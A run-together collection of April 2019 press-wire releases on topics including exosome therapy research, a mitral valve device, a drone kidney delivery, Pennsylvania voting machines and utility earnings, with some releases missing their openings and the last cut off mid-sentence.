NeurExo Sciences, LLC (NXS), a biotechnology company focused on the development of exosome therapies and subsidiary of NeuroTrauma Sciences LLC, and Henry Ford Health System (HFHS), a non-profit organization, today announced the presentation of new data on exosomes International Society for Extracellular Vesicles (ISEV) 2019 Annual Meeting being held April 24-28, 2019 in Kyoto, Japan. Among their key findings, Henry Ford researchers demonstrated the ability of exosomes to suppress chemotherapy-induced peripheral neuropathy and enhance the anti-tumor effects of platinum drugs, which are commonly used to treat cancers. Peripheral neuropathy is a common adverse effect of platinum based chemotherapy. Neurotoxicity often requires platinum drug dose reduction, compromising therapeutic efficacy of platinum drugs to suppress tumor progression. In the oral presentation, Exosomes from cerebral endothelial cells suppress chemotherapy-induced peripheral neuropathy and sensitize anti-tumor effects of platinum drugs, Zhenggang Zhang MD, PhD, senior scientist of Henry Ford Health System in Detroit, explained how isolated exosomes from cultured human primary cerebral endothelial cells (CEC-exos) were used in the treatment of mice bearing ovarian cancer with platinum drugs induced peripheral neuropathy. Tumor bearing mice treated with platinum drugs along with CEC-exos (n=7/group) exhibited significant reduction of platinum-drug induced peripheral neuropathy. Moreover, CEC-exos in combination with platinum drugs significantly decreased tumor size by 80-91% compared to platinum drugs alone, which reduced tumor growth by 50-72%. "Our preclinical data demonstrate the ability of the exosome treatment to ameliorate platinum-drug induced peripheral neuropathy," said Dr. Zhang. "In addition to restoring the neuroprotective network, our exosomes were able to suppress a chemoresistant network of mirRNAs/protein-coding genes to amplify the anti-tumor effect of platinum drugs." Separately, Henry Ford researchers presented additional research in a poster presentation, Comprehensive proteomics and microRNA analyses of adult neural stem cell derived exosomes after stroke, to elucidate the function of neural stem cell (NSC) exosomes in promoting neurovascular remodeling including angiogenesis and axonal outgrowth after stroke. The results of their proteomic and miRNA analysis demonstrated that NSC derived exosomes contain a robust profile of protein and miRNA effectors. These data may help elucidate the function of NSC derived exosomes in stroke-induced neurogenesis, as well as potentially lead to new treatment of ischemic cerebral tissue-related diseases. The abstracts are available on NeuroTrauma Science's website, www.neurotraumasciences.com. "Exosome technology has exciting potential across many therapeutic areas," said Carl Long, NeuroTrauma Sciences Co-founder and Chief Executive Officer. "With our partners at Henry Ford, we are pioneering exosome technology for multiple neurological conditions, including neuropathies, as well as traumatic brain injury and stroke." About Exosomes Exosomes are small extracellular vesicles that transport DNA, RNAs, lipids and proteins between cells, allowing organs, tissues and cells to communicate with one another and elicit specific biological responses based on their cargo. MicroRNAs transported by exosomes regulate gene translation and play primary roles in mediating a vast array of biological functions, including immunomodulation and the potential to enable multiple pathways of neurovascular restoration. About the Chopp Lab in the Department of Neurology and the Neurosciences Institute at Henry Ford Hospital Dr. Chopp is dedicated to translational research in neuroscience, and he and his group are recognized as foremost authorities on exosomes and microRNA for treatment of neurological injury and disease. The focus of the laboratory is the pathophysiology of stroke and traumatic brain injury; mechanisms of neuroprotection, and cell-based, biologic (e.g. exosomes), molecular and pharmacological neurorestorative therapies for stroke, traumatic brain injury, and neurodegenerative disease. Dr. Chopp has approximately 750 peer reviewed publications and has received numerous prestigious research awards. His laboratory, comprising 70 researchers and staff, is one of the leading research centers in the world in translational neuroscience and restorative neurology and was the first lab to use mesenchymal stem cells (MSCs) as well as exosomes derived from MSCs and other sources, to treat stroke, TBI, and neurodegenerative diseases. His lab has been awarded more than $80 million in total funding and has 19 active NIH grants. About NeurExoSciences NeurExo Sciences, LLC, a privately-held biopharmaceutical company and subsidiary of NeuroTrauma Sciences, LLC, was formed in 2018 to advance Henry Ford's pioneering technology involving exosomes as extracellular vesicles enriched with microRNA for the purpose of treating stroke, traumatic brain injury (TBI) including concussion, and neuropathies. NXS has worldwide commercial rights to product candidates resulting from the exosome and miRNA IP and sponsored research generated by the lab. For further information, please contact: NeurExo/NeuroTrauma Sciences SMP Communications John-Claude Saltiel Susan Pietropaolo General Manager 201-923-2049 917-796-7749 [email protected] [email protected] Henry Ford Health System Jeffrey Adkins Public Relations Specialist (586) 307-2027 [email protected] SOURCE NeurExo Sciences, LLC Prof. Dr. Andreas Hagendorff, Head of Laboratory of Echocardiography of the Department of Cardiology-Angiology at the University of Leipzig and renowned echo-cardiologist led the study. "Functional mitral regurgitation is associated with increased morbidity and mortality in patients with heart failure. For patients ineligible to receive surgical treatment, interventional techniques represent a new therapy option." Prof. Hagendorff continued, "The findings we presented confirmed the acute hemodynamic effects of the Carillon device on mitral valve morphology and demonstrated an acute reduction in regurgitant fraction in 83% of patients, as documented by transthoracic echo after device implantation." "The significant acute MR benefit demonstrated in our study, achieved by a device that cinches the mitral apparatus via the coronary sinus without compromising the valve or future treatment options, makes the Carillon System a front-line treatment option for FMR patients," added Dr. Stephan Stoebe, co-author and presenter at DGK. Presentations highlighting the Carillon System this week during DGK 2019 include: 25 April, 2019: New Devices and Therapies for Mitral Valve Insufficiency Treatment of functional mitral regurgitation by the Carillon Mitral Contour Device an echocardiographic analysis of acute effects. S. Stobe, K. Kreyer, U. Laufs, A. Hagendorff 26 April, 2019: Functional MI in Heart Failure: Interventional Differential Therapie Background on the Carillon Mitral Contour System & REDUCE FMR. H. Sievert Carillon Mitral Contour System Live Case. M. Haude Atrium-Triggered Annulus-Extension. M. Reinthaler Combo-Cases MitraClip & Carillon, Carillon & MitraClip R. S. von Bardeleben (select presentations from DGK 2019 can be found at DGK 2019 Presentations) "We are pleased with the results from the University of Leipzig study validating the immediate impact of the Carillon System on mitral regurgitation for a large percentage of FMR patients," said Greg Casciaro, President and CEO of Cardiac Dimensions. "This study adds to the growing body of evidence demonstrating the effectiveness and safety of the Carillon System in two key measurements of FMR - a significant MR reduction and favorable left ventricular remodeling, observed most recently in the REDUCE FMR trial, the first and only randomized, blinded, sham-controlled trial conducted in structural heart." About the Carillon Mitral Contour System The Carillon System offers a simple right-heart approach to transcatheter mitral valve repair (TMVr) designed to reshape the anatomy and improve function of the mitral apparatus from the coronary sinus. Distal and proximal anchors, connected by a shaping ribbon, utilize the heart's venous anatomy to cinch the mitral apparatus, without compromising the valve or future treatment options.1,2 The Carillon System is designed to treat the primary cause of functional mitral regurgitation (FMR) in patients with MR grades 2+, 3+ and 4+ and is the first and only device to demonstrate a reduction in regurgitant volume and reverse left ventricular remodeling in a randomized sham-controlled clinical trial of percutaneous valve therapy 3,4,5. The Carillon System has CE Mark (0344) approval and has been implanted in over 950 patients in Europe, Australia, Turkey and the Middle East. The Carillon System is not approved for sale in the United States. About Cardiac Dimensions, Inc. Cardiac Dimensions is a leader in the development of innovative, minimally invasive treatments to address heart failure and related cardiovascular conditions. Privately held, the company is funded by Aperture Venture Partners, Arboretum Ventures, Difference Capital, HostPlus, Life Sciences Partners, Lumira Ventures and M.H. Carnegie & Co. Cardiac Dimensions is headquartered in Kirkland, Washington and has operations in the United States, Australia and Germany. For more information, please visit cardiacdimensions.com. MEDIA CONTACT: Rick Wypych [email protected] (425) 605-5910 Hoppe UC, Brandt MC, Degen H, et al. Percutaneous mitral annuloplasty device leaves free access to cardiac veins for resynchronization therapy. Catheter Cardiovasc Interv. 2009;74(3):506-11. Latib, A. "Coronary Sinus Annuloplasty." New York , Montefiore Medical Center. Lipiecki J, Siminiak T, Sievert H, et al. Coronary sinus-based percutaneous annuloplasty as treatment for functional mitral regurgitation: the TITAN II trial. BMJ Open Heart. 2016; 3: e000411. Siminiak T, et. al. Treatment of functional mitral regurgitation by percutaneous annuloplasty: Results of the TITAN Trial. Eur J Heart Fail. 2012;14:931-38. Sievert, H. 2018. REDUCE-FMR: A Sham Controlled Randomized Trial of Transcatheter Indirect Mitral Annuloplasty in Heart Failure Patients with Functional Mitral Regurgitation. Presented at TCT 2018, San Diego, CA. (CRB-19-181) SOURCE Cardiac Dimensions Related Links http://cardiacdimensions.com SHANGHAI, April 26, 2019 /PRNewswire/ -- Vintex, the brand for the company's corporate and institutional client services was launched by Guotai Junan Securities Co., Ltd. at the 2019 Global Industry and Capital Forum. The event brought together experts from academia, finance and industries to share their insights on global industry and investment trends. The Corporate and Institutional Client Services System has set a new milestone for the securities company's global strategy. Once launched, the brand has attracted attention immediately. Guotai Junan started to build the Corporate and Institutional Client Services System since 2016. The company, benchmarking itself against top global players, has become a leading Chinese investment bank dedicated to providing global clients with excellent comprehensive services. It has broken away from previously license-based on separation of business activities and formed a service model which features interaction and coordination between services, products, processes, teams and systems and which adds value to clients. Those efforts have redefined the ideas, practices, logic and boundaries of the company's corporate and institutional client services. Targeting clients' needs. The Corporate and Institutional Client Services System under the Vintex brand aims to facilitate client growth throughout the lifecycle with over 50 solutions under eight client categories. Vintex provides stop service across a wide range of sectors and asset classes. Online-offline coordination. Vintex meets client demands through a global network and online-offline coordination. Wherever they are, clients may access the company's professional services and insights from experts and industry leaders via the Vintex APP and Matrix platform. Leading tech platforms. The Corporate and Institutional Client Services System, based on client needs in a variety of scenarios, has developed ten tech platforms including Intelligent Client Services, Multi-layered Trading, Global Market Information, Multi-asset Investment Research, AI Big Data, Smart Operation Management, Risk Analysis and Management, Manager Services, Stock Index Services, and Performance Analysis. The brand has been constantly expanding its boundaries and applying fintech to offer elevated client services. Clients will witness the interaction between industries and capital, access forward-looking insights into the global capital markets, and be served with technology and professionalism through Vintex. SOURCE Guotai Junan Securities NEW YORK, April 26, 2019 /PRNewswire/ -- OTC Markets Group Inc. (OTCQX: OTCM), operator of financial markets for 10,000 U.S. and global securities, today announced Christopher & Banks Corporation (OTCQX: CBKC), a Minneapolis-based national specialty retailer, has qualified to trade on the OTCQX Best Market. Christopher & Banks Corporation previously traded on the New York Stock Exchange. Christopher & Banks Corporation begins trading today on OTCQX under the symbol "CBKC." U.S. investors can find current financial disclosure and Real-Time Level 2 quotes for the company on www.otcmarkets.com . "We are pleased to welcome Christopher & Banks Corporation to the OTCQX Best Market," said Jason Paltrowitz, EVP of Corporate Services at OTC Markets Group. "OTCQX provides investor-focused companies with a transparent, cost-effective alternative to a U.S. stock exchange listing. We look forward to supporting Christopher & Banks Corporation and its shareholders." About Christopher & Banks Corporation Christopher & Banks Corporation is a Minneapolis-based national specialty retailer featuring exclusively designed privately branded women's apparel and accessories. As of April 23, 2019, the Company operates 457 stores in 45 states consisting of 313 MPW stores, 81 Outlet stores, 33 Christopher & Banks stores, and 30 stores in its women's plus size clothing division CJ Banks. About OTC Markets Group Inc. OTC Markets Group Inc. (OTCQX: OTCM) operates the OTCQX Best Market, the OTCQB Venture Market and the Pink Open Market for 10,000 U.S. and global securities. Through OTC Link ATS and OTC Link ECN, we connect a diverse network of broker-dealers that provide liquidity and execution services. We enable investors to easily trade through the broker of their choice and empower companies to improve the quality of information available for investors. To learn more about how we create better informed and more efficient markets, visit www.otcmarkets.com . OTC Link ATS and OTC Link ECN are SEC regulated ATSs, operated by OTC Link LLC, member FINRA/SIPC. Subscribe to the OTC Markets RSS Feed Media Contact: OTC Markets Group Inc., +1 (212) 896-4428, [email protected] SOURCE OTC Markets Group Inc. Related Links http://www.otcmarkets.com "To receive the Queen's Award three times since 2012 is a tremendous achievement," said ORA's Chief Executive and Founder, William Humphreys. "We have been on a very exciting journey since the organisation started 15 years ago, and have welcomed over 20,000 students from more than 160 nations to the United Kingdom to study. I am very proud of the opportunities we offer our students, and the way in which they use these opportunities to succeed in their chosen paths in life. I am also extremely proud of the team at ORA, who work tirelessly to ensure that we deliver an unparalleled cultural and educational experience to every one of our students." In order to carve a truly strong and successful path in a highly competitive world, ORA believe that young people now need greater global awareness, more varied cultural experiences, broader global networks, and vitally, personal guidance and direction. And ORA's summer schools offer exactly this. Students can choose from over 150 courses, all designed to help them gain confidence, experience and a competitive edge. Depending on the course they select, they can experience life in an Oxford University college, visit some of the most heritage-rich locations in the United Kingdom, taste a degree in medicine, build a kit-car or explore AI and blockchain, whilst always working with peers from around the globe. William continues, "Many young people are capable of exceptional academic, personal and commercial success, but they are simply not aware of opportunities which may be available to them. By offering young people a taste of elite higher education, multi-cultural experiences and innovative subject matter, we can help them to identify their strengths, passions and ambitions. And often, they will grasp new opportunities, which they would never have believed that they could access or achieve. I can personally attest to the value of this approach as we take enormous pride in the success of our students, many of whom have gone on to study at some of the UK's top universities, such as Oxford and Cambridge Universities and Imperial College, London and have subsequently made tremendous contributions to British industry and research." ORA also firmly believes that the UK must continue to attract more global talent for the benefit of both foreign and British students - and to ensure that the UK continues to lead the world in fields such as research, technology, education and commerce. A recent publication of a report by the UK's All-Party Parliamentary Group for International Students called for more to be done to encourage international students to study in the UK. This was further endorsed by a recent announcement by International Trade Secretary, Liam Fox and Education Secretary, Damian Hinds, outlining the Government's ambition to increase the number of international students choosing to complete higher education in the UK by 30%, to 600,000 per annum by 2030. William says, "We absolutely endorse the findings of the All-Party Parliamentary Group's report and the ambitions outlined by Liam Fox and Damian Hinds. Incoming international students undoubtedly benefit the UK economically, culturally and socially. By opening the door to more international students, we are excited to be playing a part in ensuring that the UK continues to remain at the forefront of commerce, research and education." The Oxbridge experience, together with the breadth of courses and outstanding teaching, has helped ORA to achieve tremendous growth over the past few years, with diverse courses now offered from the heritage-rich British education pinnacles of Cambridge and Oxford, to the US academic powerhouse of Yale. To support this growth, ORA have recently acquired the remarkable Yarnton Manor in Oxford, a 17th Century manor house estate, once owned by the ancestors of Princess Diana, which now acts as an education centre and the company's HQ. For a company which has seen such tremendous growth and achieved such recognition, this is surely yet another sign that ORA are only just beginning their next chapter, as they continue to challenge traditional approaches to education, build international relations and contribute ever-more exceptional talent and experience to the world of international trade & research. Notes to Editors About Oxford Royale Academy Oxford Royale Academy is a leading global provider of elite summer schools in some of the world's most prestigious institutions, including the University of Oxford, the University of Cambridge, the University of St. Andrews and Yale University in the US. Founded in 2004, ORA is a three-times winner of the Queen's Award for Enterprise and has so far welcomed over 20,000 students from over 160 nations. Driven by a firm belief that a successful education is about more than formal learning, ORA's vision is to offer young people a window to a world of opportunity. By offering unparalleled cultural and learning experiences, ORA helps young people to identify their own passions, talents and ambitions and, above all, helps them to realise those ambitions. ORA offer courses designed for traditional professions, such as law and medicine, but also courses designed to stretch the boundaries of traditional education, from making and driving kit cars, to AI and blockchain. ORA also offer a plethora of cultural experiences, and workshops to develop crucial life skills such as public speaking. Whether destined to be an oncologist, a film director or an entrepreneur, ORA's courses offer young people invaluable experiences to help them make informed decisions and to succeed on their chosen paths. For more information, see www.oxford-royale.co.uk SOURCE Oxford Royale Academy Related Links https://www.oxford-royale.co.uk On April 25, three Veteran-owned companies, Biao Skincare , Peak Safety Systems and Living Tiny, LLC , attended an exclusive event at blueprint + co in New York City to pitch their business to a panel of judges for a chance to win the $30,000 business grant. Prior to their presentation, they each had a 45-minute prep session with world-renowned businessman and investor Daymond John to refine their pitch and receive invaluable business insight. Peak Safety System's goal is to create functional, life-saving equipment that inspires confidence in the men and women who serve the country and their communities, and provide meaningful employment for Veterans. The company is headquartered in Hartford, Connecticut. The other two finalists were extraordinary as well. The future will be bright for Biao Skincare (founded by Nicole Baldwin) and Living Tiny, LLC (founded by Levi and Chandler Green). "This is the third year of the Heroes to CEOs program and, again, we saw lots of great entries. We continue to be blown away by the passion each Veteran holds for their business," said Mike Townsley, President and CEO, Bob Evans Farms. "Jonathan Norton did a phenomenal job during his pitch and his innovative business is really going to bring something special not just to the Veteran community, but to all of us." For the third consecutive year, Bob Evans Farms partnered with Daymond John, the People's Shark, for the successful Heroes to CEOs program. They also extended their reach by partnering with Bunker Labs, a 501(c)(3) non-profit dedicated to helping new Veteran entrepreneurs start their own business. In the grant-giving program's third year, there was a 33 percent spike in entries, with a total of 210 total entries. Each eligible entry was scored based on reason, presentation, feasibility, opportunity and future success of the business, idea or plan submitted. The entry pool was narrowed to three finalists who attended the event to pitch their business. "It was an honor to have the opportunity to sit down with Nicole, Jonathan, Levi and Chandler to provide advice before their pitch. Each one blew me away with their creativity, innovation and solid business plan," Daymond John, the People's Shark, said. "Jonathan Norton really rose to the top as an exceptional leader who is ready to take his business to the next level." "These outstanding pitches by Veteran entrepreneurs are evidence that leadership, discipline, and strategic planning transcend military service," said Katherine Kostreva, Northeast Region Executive Director, Bunker Labs. "Bunker Labs is honored and grateful for the partnership with Bob Evans and The Shark Group, which inspired veteran businesses nationwide to compete, and awarded these finalists a once in a lifetime experience. Kudos to Jonathan Norton for the win!" For more information on the "Heroes to CEOs" program visit www.ourfarmsalutes.com. For more information about Bob Evans Farms visit www.bobevansgrocery.com and for more information about Bunker Labs visit www.bunkerlabs.org. Past winners from the Heroes to CEOs contest, BeneFIT Medical Apparel (founded by James Reynolds), K9 Salute (founded by Jessica Harris), Street Smarts VR (founded by Oliver Noteware), FanFood (founded by Carson Goodale), Mutt's Sauce (founded by Charlynda Scales) and Vet Veggies (founded by Jerry Martin and Darryl Hill), have all had great success since receiving their grant. Because of the Heroes to CEOs grant, they've each been able to meet and exceed their business goals including growing into new markets, expanding their production and sales as well as reaching new target audiences. About Bob Evans Farms, Inc. Bob Evans Farms, Inc. is a brand born and raised on the promise of farm-fresh goodness. For more than 70 years, the company has been making delicious, quick-to-table farm-fresh food that is sold in grocery stores all over the country. Today, Bob Evans brand mashed potatoes and macaroni & cheese products are the #1 selling refrigerated side dishes in the United States*. Based in Columbus, Ohio and owned by Post Holdings, Inc., a consumer-packaged goods holding company, Bob Evans Farms is also a leading producer and distributor of refrigerated potato, pasta and vegetable-based side dishes, pork sausage, and a variety of refrigerated and frozen convenience food items under the Bob Evans, Owens and Pineland Farms brand names. For more information about Bob Evans Farms, Inc., visit www.bobevansgrocery.com. *SOURCE: IRI Total US MULO Latest 52 W/E 3/24/19. About Bunker Labs Bunker Labs is a national 501(c)(3) nonprofit organization headquartered in Chicago, with chapters in 25+ cities, built by military veteran entrepreneurs to empower other military veterans to start and grow businesses. Through local chapters organized in cities across the U.S., Bunker Labs provides educational programming, mentors, events, and thriving local networks to help military veterans succeed and thrive as entrepreneurs and innovators. About Daymond John Daymond John can be seen Sunday nights on ABC's four-time Emmy Award winning series, Shark Tank, where as an original cast member he is in the midst of his 10th season. John is widely recognized for his accomplishments as an entrepreneur and branding expert following the success of his groundbreaking lifestyle brand, FUBU and is a two-time New York Times Best Selling Author, most recently for his book Rise and Grind. In recognition of his impact in the entrepreneurial space, John was named a Presidential Ambassador for Global Entrepreneurship under the Obama Administration, and has been bestowed the NAACP Entrepreneurs of the Year Award, the Congressional Achievement Award for Entrepreneurship and more. SOURCE Bob Evans Farms, Inc. Related Links http://www.bobevansgrocery.com Poll workers were given the option of attending the two-hour training in either the morning, afternoon, or evening session. An estimated 300 poll workers attended the mandatory training. At least three representatives from each of the county's 91 precincts were required to attend. "The new system that we are implementing on May 21 is an upgrade to our existing optical scan system we have had since 2008," Centre County director of elections Joyce McKinley said. "Overall, our poll workers have been very happy with the new system features." At one training session, attendees cheered when they learned of the new automated process for voters to record write-in candidates. McKinley said she expects that poll workers and voters alike will find the new voting process to be very user-friendly. The county has one of the new voting machines set up in the lobby of the elections office, 420 Holmes St., Bellefonte, so voters can view and try out the system. The public also is invited to test the new machines at the elections office at 10 a.m. on May 16. Centre County voters will have the option to use a hand-marked paper ballot or a ballot marking device that is compliant with the Americans With Disabilities Act. Voters who use the ballot marking device will receive a printed copy of their ballot which they will use to verify their choices before inserting it into a scanner. Individuals in any county who are interested in becoming a poll worker should contact their county board of elections. In April 2018, the Pennsylvania Department of State informed counties they have until the end of 2019 to select new voting systems that provide a paper record. The new systems are to be in use no later than the 2020 primary, and preferably by the November 2019 general election. Systems with paper trails allow for more accurate and reliable post-election audits. Nationwide, there is bipartisan and near universal agreement that all voters should be voting on paper ballots they can verify. The U.S. Department of Homeland Security, U.S. Senate and House Intelligence Committees, and many security and elections experts are urging states to switch to new systems that produce paper records. In Pennsylvania, every voting system and paper ballot must include plain text that voters can read to verify their choices before casting their ballot. Election officials will also use the plain text to perform pre-election testing and post-election audits and recounts. Governor Wolf is seeking state funding for at least half of the counties' cost for new voting systems. He will continue to work with the General Assembly to implement a plan for state funding and financing. The governor has already committed $14.15 million in federal and state funding to counties for the new voting systems. So far, 28 counties have approved purchases or leases of new voting systems throughout the commonwealth. Centre is one of nine counties planning to use new systems in the 2019 primary. MEDIA CONTACT: Wanda Murren, 717-783-1621 SOURCE Pennsylvania Department of State Related Links http://www.state.pa.us BEIJING, April 26, 2019 /PRNewswire/ -- Phoenix New Media Limited ("Phoenix New Media", "ifeng" or the "Company") (NYSE: FENG), a leading new media company in China, today announced that it filed its annual report on Form 20-F for the fiscal year ended December 31, 2018 (the "2018 20-F") with the Securities and Exchange Commission on April 26, 2019. The 2018 20-F can be accessed on the Company's investor relations website at http://ir.ifeng.com. The Company will provide a hard copy of its audited consolidated financial statements contained in the 2018 20-F, free of charge, to its shareholders and ADS holders upon request. Requests can be directed to Qing Liu, Phoenix New Media Limited, Sinolight Plaza, No. 4 Qiyang Road, Wangjing, Chaoyang District, Beijing 100102, People's Republic of China. About Phoenix New Media Limited Phoenix New Media Limited (NYSE: FENG) is a leading new media company providing premium content on an integrated Internet platform, including PC and mobile, in China. Having originated from a leading global Chinese language TV network based in Hong Kong, Phoenix TV, the Company enables consumers to access professional news and other quality information and share user-generated content on the Internet through their PCs and mobile devices. Phoenix New Media's platform includes its PC channel, consisting of ifeng.com website, which comprises interest-based verticals and interactive services; its mobile channel, consisting of mobile news applications, mobile video application, digital reading application and mobile Internet website; and its operations with the telecom operators that provides mobile value-added services. For investor and media inquiries please contact: Phoenix New Media Limited Qing Liu Email: [email protected] ICR, Inc. Jack Wang Tel: +1 (646) 405-4883 Email: [email protected] SOURCE Phoenix New Media Limited COLLEGE PARK and BALTIMORE, Md., April 26, 2019 /PRNewswire/ -- In a first-ever advancement in human medicine and aviation technology, a University of Maryland (UMD) unmanned aircraft has delivered a donor kidney to surgeons at the University of Maryland Medical Center (UMMC) in Baltimore for successful transplantation into a patient with kidney failure. This successful demonstration illustrates the potential of unmanned aircraft systems (UAS) for providing organ deliveries that, in many cases, could be faster, safer, and more widely available than traditional transport methods. The momentous flight was a collaboration between aviation and engineering experts at the University of Maryland; transplant physicians and researchers at the University of Maryland School of Medicine (UMSOM) in Baltimore; and collaborators at the Living Legacy Foundation of Maryland. "This whole thing is amazing. Years ago, this was not something that you would think about," said the kidney recipient, a 44-year-old Baltimore resident who spent eight years on dialysis before undergoing the transplant procedure.The patient was discharged from UMMC on Tuesday. Maryland faculty and researchers believe this prototype organ transport blazes a trail for the use of UAS to expand access to donated organs, improving outcomes for more people in need of organ transplants. "This history-making flight not only represents a breakthrough from a technological point of view, but provides an exemplary demonstration of how engineering expertise and ingenuity ultimately serve human needsin this case, the need to improve the reliability and efficiency of organ delivery to hospitals conducting transplant surgery," said Darryll J. Pines, Ph.D., UMD, dean of the A. James Clark School of Engineering and Nariman Farvardin Professor of Aerospace Engineering. "As astonishing as this breakthrough is from a purely engineering point of view, there's a larger purpose at stake. It's ultimately not about the technology; it's about enhancing human life." Added Joseph Scalea, MD, assistant professor of surgery at UMSOM, project lead, and one of the surgeons who performed the transplant at UMMC, "As a result of the outstanding collaboration among surgeons, engineers, the Federal Aviation Administration (FAA), organ procurement specialists, pilots, nurses, and, ultimately, the patient, we were able to make a pioneering breakthrough in transplantation." The many technological firsts of this effort include: a specially designed, high-tech apparatus for maintaining and monitoring a viable human organ; a custom-built UAS with eight rotors and multiple powertrains to ensure consistently reliable performance, even in the case of a possible component failure; the use of a wireless "mesh" network to control the UAS, monitor aircraft status, and provide communications for the ground crew at multiple locations; and aircraft operating systems that combined best practices from both UAS and organ transport standards. "We had to create a new system that was still within the regulatory structure of the FAA, but also capable of carrying the additional weight of the organ, cameras, and organ tracking, communications and safety systems over an urban, densely populated areafor a longer distance and with more endurance," said Matthew Scassero, MPA, director of UMD's UAS Test Site, part of the A. James Clark School of Engineering. "There's a tremendous amount of pressure knowing there's a person waiting for that organ, but it's also a special privilege to be a part of this critical mission." Prior to the April 19th organ delivery flight, the Maryland partners worked together to develop and test the UAS by first successfully transporting saline, blood tubes, and other materials, and then by transporting a healthy, but nonviable, human kidney. These test flights were preceded in 2016 by the state of Maryland's first civil unmanned aerial delivery of simulated medical cargo , a collaborative effort between UMD's UAS Test Site and the University of Maryland Shore Regional Health in Easton, Maryland, to illustrate how the use of UAS could radically change medical care and impact the lives of real people. "This major advance in human medicine and transplantation exemplifies two key components of our mission: innovation and collaboration," said E. Albert Reece, MD, Ph.D., MBA, Executive Vice President for Medical Affairs, University of Maryland Baltimore, and the John Z. and Akiko K. Bowers Distinguished Professor and Dean, University of Maryland School of Medicine. "Innovation is at the heart of our focus on accelerating the pace and scope of discovery, where research can rapidly transform medicine. At the same time, collaboration is the key to our success in providing discovery-based medicineboth in conducting research and in delivering the highest quality patient care." Designing a UAS Organ Delivery System To create a UAS designed to carry an organ and provide real-time monitoring of its condition, Scalea partnered with several medical technology companies to design and develop the Human Organ Monitoring and Quality Assurance Apparatus for Long-Distance Travel (HOMAL; patent pending). It measures and maintains temperature, barometric pressure, altitude, vibration, and location (via GPS) during transportation and transmits the information to the smartphones of transplant personnel. The needed unmanned aircraft and operating systems were designed by UMD UAS Test Site engineers to meet the rigid medical, technical, and regulatory demands of carrying a donor organ for human transplantation. "We built in a lot of redundancies, because we want to do everything possible to protect the payload," said Anthony Pucciarella, director of operations at the UMD UAS Test Site. These safeguards included backup propellers and motors, dual batteries, a backup power distribution board, and a parachute recovery system (in case the entire aircraft fails). Advancing Transplantation through UAS Transport Transportation logistics are often the most complicated part of the organ transplant processand how long an organ remains viable throughout travel is a major issue. Transport methods typically involve expensive chartered flights or rely on variable commercial flights, and occasionally result in an organ left on a plane or other delays that destroy the organ's viability. These current transport methods also don't adequately cover many parts of the county, such as rural or geographically remote areas, which limits access in these areas both to organ donations and organ transplants. "For more than 25 years, the University of Maryland Medical Center has provided cutting-edge care in organ transplantation," said Mohan Suntha, MD, MBA, President and CEO of the University of Maryland Medical Center in Baltimore. "Our Transplant Program cares for patients who come from our local community, the state and the nation, many of whom have been turned away at other hospitals, because we have the skill, talent and knowledge to advance even the most complex transplant cases, often times not just improving but saving lives." According to the United Network for Organ Sharing, which manages the organ transplant system in the United States, in 2018 there were nearly 114,000 people on waiting lists for an organ transplant; about 1.5 percent of deceased donor organ shipments did not make it to the intended destination; and nearly four percent of organ shipments had an unanticipated delay of two or more hours. "There remains a woeful disparity between the number of recipients on the organ transplant waiting list and the total number of transplantable organs. This new technology has the potential to help widen the donor organ pool and access to transplantation," said Scalea. "Delivering an organ from a donor to a patient is a sacred duty with many moving parts. It is critical that we find ways of doing this better." Beating the organ transplant clock is a key responsibility of U.S. organ procurement organizations, including project collaborator The LLF. "The University of Maryland UAS project is incredibly important," said Charlie Alexander, Chief Executive Officer of The LLF, noting that the work is at the proof-of-concept stage. "If we can prove that this works, then we can look at much greater distances of unmanned organ transport. This would minimize the need for multiple pilots and flight time and address safety issues we have in our field." DISCLOSURE: Dr. Scalea is founder of a private data analytics company, Transplant Logistics and Informatics. Funding for this research was provided by the Maryland Technology Development Corporation (TEDCO) with additional resources from the UAS Test Site, UMSOM, UMMC, the University of Maryland, Baltimore, Office of Technology Transfer, and the City of Baltimore REFERENCES: About the University of Maryland The University of Maryland, College Park is the state's flagship university and one of the nation's preeminent public research universities. A global leader in research, entrepreneurship and innovation, the university is home to more than 40,000 students,10,000 faculty and staff, and 280 academic programs. As one of the nation's top producers of Fulbright scholars, its faculty includes two Nobel laureates, three Pulitzer Prize winners and 57 members of the national academies. The institution has a $1.9 billion operating budget and secures $514 million annually in external research funding. For more information about the University of Maryland, College Park, visit www.umd.edu . About the University of Maryland School of Medicine Now in its third century, the University of Maryland School of Medicine (UMSOM) was chartered in 1807 as the first public medical school in the United States. It continues today as one of the fastest growing, top-tier biomedical research enterprises in the worldwith 43 academic departments, centers, institutes, and programs and a faculty of more than 3,000 physicians, scientists, and allied health professionals, including members of the National Academy of Medicine and the National Academy of Sciences and a distinguished recipient of the Albert E. Lasker Award in Medical Research. With an operating budget of more than $1 billion, UMSOM works closely in partnership with the University of Maryland Medical Center and Medical System to provide research-intensive, academic, and clinically-based care for more than 1.2 million patients each year. UMSOM faculty, which ranks as the 8th highest among public medical schools in research productivity, is an innovator in translational medicine, with 600 active patents and 24 start-up companies. The School works locally, nationally, and globally, with research and treatment facilities in 36 countries around the world. Visit: medschool.umaryland.edu About the University of Maryland Medical Center The University of Maryland Medical Center (UMMC) is comprised of two hospitals in Baltimore: an 800-bed teaching hospital the flagship institution of the 14-hospital University of Maryland Medical System (UMMS) and a 200-bed community teaching hospital, UMMC Midtown Campus. UMMC is a national and regional referral center for trauma, cancer care, neurosciences, cardiac care, diabetes and endocrinology, women's and children's health, and has one of the largest solid organ transplant programs in the country. All physicians on staff at the flagship hospital are faculty physicians of the University of Maryland School of Medicine. At UMMC Midtown Campus, faculty physicians work alongside community physicians to provide patients with the highest quality care. UMMC Midtown Campus was founded in 1881 and is located one mile away from the University Campus hospital. For more information, visit www.umm.edu . SOURCE University of Maryland Related Links https://www.umd.edu PORTLAND, Ore., April 26, 2019 /PRNewswire/ -- Portland General Electric Company (NYSE: POR) today reported net income of $73 million, or 82 cents per diluted share, for the first quarter of 2019. This compares with net income of $64 million, or 72 cents per diluted share, for the first quarter of 2018. "Against the backdrop of highly volatile regional energy markets, our power supply portfolio performed well, allowing us to effectively manage costs and deliver solid results," said Maria Pope, PGE president and CEO. "Additionally, we are advancing our transportation electrification plan to expand infrastructure and increase access vital to cleaner energy for Oregon." Q1 2019 earnings compared to Q1 2018 earnings The increase in first quarter earnings was primarily driven by colder temperatures resulting in higher energy deliveries, an increase in retail revenue and strong power supply portfolio performance. This was partially offset by higher market prices for power in the West due to cold temperatures that increased regional demand, lower than average wind and hydropower production, and pipeline capacity reductions in natural gas supply. Remaining earnings drivers include the absence of costs associated with Carty litigation in 2019 as compared to 2018, a reduction in production tax credits as wind 